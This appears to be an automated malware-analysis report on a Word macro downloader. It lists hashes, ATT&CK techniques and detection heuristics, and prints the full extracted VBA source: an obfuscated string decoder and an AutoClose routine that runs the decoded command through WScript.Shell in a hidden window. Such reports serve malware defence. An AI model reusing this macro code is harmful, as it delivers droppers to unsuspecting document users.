Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ffd17e07e3b64207…

MALICIOUS

Office (OOXML)

53.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-10
MD5: 88aeb1bf08ade97d24ea8e379cb923a8 SHA-1: b189ea64e1a3054a1b2e617624e06649e912d42e SHA-256: ffd17e07e3b64207128b0b10f7b638c8bc97022f07b4410e7de28ad07650db09
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and calls Shell() via WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' strongly suggests this is a downloader. The VBA code attempts to deobfuscate a string and then execute it, likely to download and run a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If hesionidae - tenoroon > 1 Then
           CreateObject("WScript.Shell").Run dissuitable, 0
           pigmentolysis = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If hesionidae - tenoroon > 1 Then
           CreateObject("WScript.Shell").Run dissuitable, 0
           pigmentolysis = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
      guaranian = Array("5", "S", "l", "D", "v", "", "R", "r", "R", "b", "l", "D", "D", "M", "2", "W", "W", "c", "P", "d", "5", "v", "S", "p", "E", "d", "P", "K", "v", "p", "E", "R", "p", "v", "l", "v", "C", "1", "", "C", "P", "5", "W", "Z", "J", "3", "W", "D", "R", "d", "r", "", "M", "l", "M", "F", "k", "D", "5", "v", "U", "D", "d", "k", "5", "1")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2078 bytes
SHA-256: 5a131bd157d632e6334e7f99c843f4bb39a295d6bb53a20fd29615a4ac482455
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function deepening(guaranian)
  bumps = Array("p", "K", "Z", "P", "3", "U", "c", "", "W", "F", "E", "b", "C", "M", "S", "2", "l", "D", "5", "d", "R", "v", "1", "J", "k", "r")
  cessative = Array("n", "v", "I", "o", "O", "=", "f", ".", "/", "?", "i", " ", "c", "p", "s", ":", "h", "t", "m", "r", "e", "a", "b", "S", "u", "x")
  
  multiagency = vbNullString
  
  For Each antimoral In guaranian
    tetrarch = quintal(antimoral, bumps, UBound(bumps))
    If tetrarch > -1 Then
    multiagency = cessative(tetrarch) & multiagency
    End If
  Next
  
  deepening = StrReverse(multiagency)
  
End Function

Public Function quintal(limnophilidae, prosodion, bimester)
  minipill = 3
  missioning = 1992
  For minipill = 0 To bimester
    If prosodion(minipill) = limnophilidae Then
     missioning = minipill
    End If
  Next

  If missioning = 1992 Then
    missioning = -1
  End If
  
  quintal = missioning
End Function

Sub AutoClose()
  guaranian = Array("5", "S", "l", "D", "v", "", "R", "r", "R", "b", "l", "D", "D", "M", "2", "W", "W", "c", "P", "d", "5", "v", "S", "p", "E", "d", "P", "K", "v", "p", "E", "R", "p", "v", "l", "v", "C", "1", "", "C", "P", "5", "W", "Z", "J", "3", "W", "D", "R", "d", "r", "", "M", "l", "M", "F", "k", "D", "5", "v", "U", "D", "d", "k", "5", "1")
  membranocorneous = deepening(guaranian)
  
  Application.Run "deserticolous", membranocorneous
  
End Sub


Private Sub deserticolous(dissuitable)
   
   tenoroon = DateDiff("s", #1/1/1970#, Now())
   pigmentolysis = True
   
   While pigmentolysis
     hesionidae = tenoroon + 60
     If hesionidae - tenoroon > 1 Then
       CreateObject("WScript.Shell").Run dissuitable, 0
       pigmentolysis = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8138cee9d77f8c4d61ff642e93cf8c51d536e1cb171eed2d1b51b859af128255
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely